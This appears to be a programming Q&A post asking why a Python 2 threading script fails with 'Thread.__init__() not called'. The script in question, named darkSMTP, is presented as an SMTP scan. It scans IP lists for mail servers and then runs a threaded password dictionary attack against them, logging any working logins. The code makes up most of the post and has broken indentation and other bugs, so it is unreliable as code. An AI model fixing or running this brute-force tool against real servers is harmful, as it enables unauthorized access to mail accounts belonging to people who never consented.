title: Python: Assertion error, "not called"
body: <p>I am finding it difficult to tackle the following bugs with the program, I would greatly appreciate some input.</p>
  
  <p>The goal of the program is to perform a SMTP scan. The user inputs the target IP address, usernames, passwords and numbers of threads to allocate to the scanning process.</p>
  
  <pre><code>Traceback (most recent call last):
   File "/home/user/Desktop/darkSMTP.py", line 133, in &lt;module&gt;
      thread = myThread(i, "Thread " + str(i), i);    
    File "/home/user/Desktop/darkSMTP.py", line 100, in __init__
      self.name = name
    File "/usr/lib/python2.6/threading.py", line 669, in name
      assert self.__initialized, "Thread.__init__() not called"
  AssertionError: Thread.__init__() not called
  </code></pre>
  
  <p>code is below:</p>
  
  <pre><code>import threading, time, random, sys, smtplib, socket
  from smtplib import SMTP
  from copy import copy
  from optparse import OptionParser 
  
  usage= "./%prog -i &lt;iplist&gt; -t &lt;threads&gt; -u &lt;userlist&gt; -p &lt;passlist&gt;" 
  usage = usage+"\nExample: ./%prog -i ips.txt -t 8 -u user.txt -p pass.txt" 
  parser = OptionParser(usage=usage) 
  parser.add_option("-i", 
                    action="store", dest="ips", 
                    help="IP list for scanning") 
  parser.add_option("-t", type="int", 
                    action="store", dest="threads", 
                    help="Threads for processing") 
  parser.add_option("-u",
                    action="store", dest="users",
                    help="List of usernames")
  parser.add_option("-p",
                    action="store", dest="passes",
                    help="List of passwords")
  (options, args) = parser.parse_args() 
  
  def timer():
          now = time.localtime(time.time())
          return time.asctime(now)
  
  if len(sys.argv) != 9: 
      parser.print_help() 
      sys.exit(1) 
  
  i = 1
  port = 25
  threads = options.threads
  file = options.ips
  users = options.users
  passes = options.passes
  completed = []
  threaders = []
  logger = open('darkSMTP.txt','w')
  ipfile = open(file,'r')
  print "[+] Warming up...ok";
  lines = ipfile.readlines()
  print "[+] IP's loaded:",len(lines);
  print "[+] Users loaded:",len(users)
  print "[+] Passwords loaded:",len(passes)
  ipfile.close();
  eachThread = len(lines) / int(threads);
  print "[+] IP's per thread:",eachThread;
  
  class myThread (threading.Thread):
      def __init__(self, threadID, name, counter):
          self.threadID = threadID
          self.name = name
          self.counter = counter
          threading.Thread.__init__(self)
      def run(self):
          print "[+] Starting " + self.name
          connect(self.name, self.counter, eachThread, self.threadID)
  
  def connect(threadName, delay, counter, threadID):
      start = threadID * counter
          file = open(options.ips,'r')
          data = file.readlines()
      while counter:
          if 0:
                  thread.exit()
          s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
          s.settimeout(2)
          try:
                      connect=s.connect((data[start-counter],port))
                  print "[+] SMTP server on: " + data[start-counter],
              print "[+] Server added to output file!" 
              logger.write(data[start-counter])
              if s.recv(1024):
                  completed.append(data[start-counter].rstrip())
          except socket.timeout:  
              print "[-] Server non-existant: " + data[start-counter].rstrip()
              except socket.error:
                      print "[+] Server exists! " + data[start-counter].rstrip();
              print "[-] But it's not SMTP"
              s.close()
          time.sleep(delay)
          counter -= 1
  
  while (i &lt; int(threads + 1)):
      thread = myThread(i, "Thread " + str(i), i);    
      threaders.append(thread)
      i += 1
      thread.start()
  
  for t in threaders:
      t.join()
  
  print "\n--- Found &amp; logged all SMTP servers in range ---\n"
  print "---------------------------------------------------"
  print "[+] Starting dictionary attack for each SMTP server"
  print "---------------------------------------------------\n"
  
  try:    
      helo = smtplib.SMTP(sys.argv[1])
      name = helo.helo()
      helo.quit()
  except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException):
      name = "[-] Server doesn't support the Helo cmd"
  
  try:
      users = open(users, "r").readlines()
  except(IOError): 
      print "Error: Check your userlist path\n"
      sys.exit(1)
  
  try:
      words = open(passes, "r").readlines()
  except(IOError): 
      print "Error: Check your wordlist path\n"
      sys.exit(1)
  
  wordlist = copy(words)
  def reloader():
      for word in wordlist:
          words.append(word)
  
  def getword():
      lock = threading.Lock()
      lock.acquire()
      if len(words) != 0:
          value = random.sample(words,  1)
          words.remove(value[0])
      else:
          reloader()
          value = random.sample(words,  1)
          words.remove(value[0])
          users.remove(users[0])
      lock.release()
      return value[0][:-1], users[0][:-1]
  
  class Worker(threading.Thread):
      def __init__(self):
              threading.Thread.__init__(self)
      def run(self):
          value, user = getword()
          for ip in completed:
              print "-"*12
              print "[+] IP: "+ip
              try:
                  print "User:",user,"Password:",value
                  smtp = smtplib.SMTP(ip)
                  smtp.login(user, value)
                  print "\t\n[!] Login successful:",user, value
                  logger.write("[!] Found: " + ip + " " + str(user) + ":" + str(value) + "\n")
                  smtp.quit()
                  sys.exit(2)
              except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: 
                  pass
  
  for i in range(len(words)*len(users)):
      work = Worker()
      work.start()
      threaders.append(work)
      time.sleep(1)
  
  for t in threaders:
      t.join()
  
  logger.close()
  </code></pre>
  
  <p>Thanks</p>